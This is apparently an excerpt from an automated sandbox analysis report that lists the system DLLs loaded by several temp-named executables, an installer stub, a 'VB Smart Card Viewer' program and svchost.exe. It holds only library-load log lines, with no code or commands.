Source: C:\Users\user\AppData\Local\Temp\7CB9.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7CB9.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7CB9.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Section loaded: csunsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Section loaded: swift.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Section loaded: nfhwcrhk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Section loaded: surewarehook.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Section loaded: csunsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Section loaded: aep.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Section loaded: atasi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Section loaded: swift.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Section loaded: nfhwcrhk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Section loaded: nuronssl.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Section loaded: surewarehook.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Section loaded: ubsec.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Section loaded: aep.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Section loaded: atasi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Section loaded: swift.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Section loaded: nfhwcrhk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Section loaded: nuronssl.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Section loaded: surewarehook.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Section loaded: ubsec.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\87C6.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\98EE.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\98EE.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-FTTRT.tmp\98EE.tmp	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\is-FTTRT.tmp\98EE.tmp	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\is-FTTRT.tmp\98EE.tmp	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\is-FTTRT.tmp\98EE.tmp	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\is-FTTRT.tmp\98EE.tmp	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\is-FTTRT.tmp\98EE.tmp	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\is-FTTRT.tmp\98EE.tmp	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\is-FTTRT.tmp\98EE.tmp	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\is-FTTRT.tmp\98EE.tmp	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\is-FTTRT.tmp\98EE.tmp	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\is-FTTRT.tmp\98EE.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-FTTRT.tmp\98EE.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-FTTRT.tmp\98EE.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-FTTRT.tmp\98EE.tmp	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\is-FTTRT.tmp\98EE.tmp	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\is-FTTRT.tmp\98EE.tmp	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\is-FTTRT.tmp\98EE.tmp	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\is-FTTRT.tmp\98EE.tmp	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\is-FTTRT.tmp\98EE.tmp	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\is-FTTRT.tmp\98EE.tmp	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\is-FTTRT.tmp\98EE.tmp	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\is-FTTRT.tmp\98EE.tmp	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\is-FTTRT.tmp\98EE.tmp	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\is-FTTRT.tmp\98EE.tmp	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\is-FTTRT.tmp\98EE.tmp	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\is-FTTRT.tmp\98EE.tmp	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\is-FTTRT.tmp\98EE.tmp	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\is-FTTRT.tmp\98EE.tmp	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\is-FTTRT.tmp\98EE.tmp	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\is-FTTRT.tmp\98EE.tmp	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\is-FTTRT.tmp\98EE.tmp	Section loaded: pcacli.dll
Source: C:\Users\user\AppData\Local\Temp\is-FTTRT.tmp\98EE.tmp	Section loaded: sfc_os.dll
Source: C:\Users\user\AppData\Local\Temp\98EE.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\98EE.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Section loaded: shfolder.dll
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Section loaded: msacm32.dll
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Section loaded: winmmbase.dll
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Section loaded: winmmbase.dll
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Section loaded: explorerframe.dll
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Section loaded: sfc.dll
Source: C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp	Section loaded: sfc_os.dll
Source: C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe	Section loaded: appxsip.dll
Source: C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe	Section loaded: opcservices.dll
Source: C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe	Section loaded: appxsip.dll
Source: C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe	Section loaded: opcservices.dll
Source: C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wersvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: windowsperformancerecordercontrol.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: weretw.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: faultrep.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dbgcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
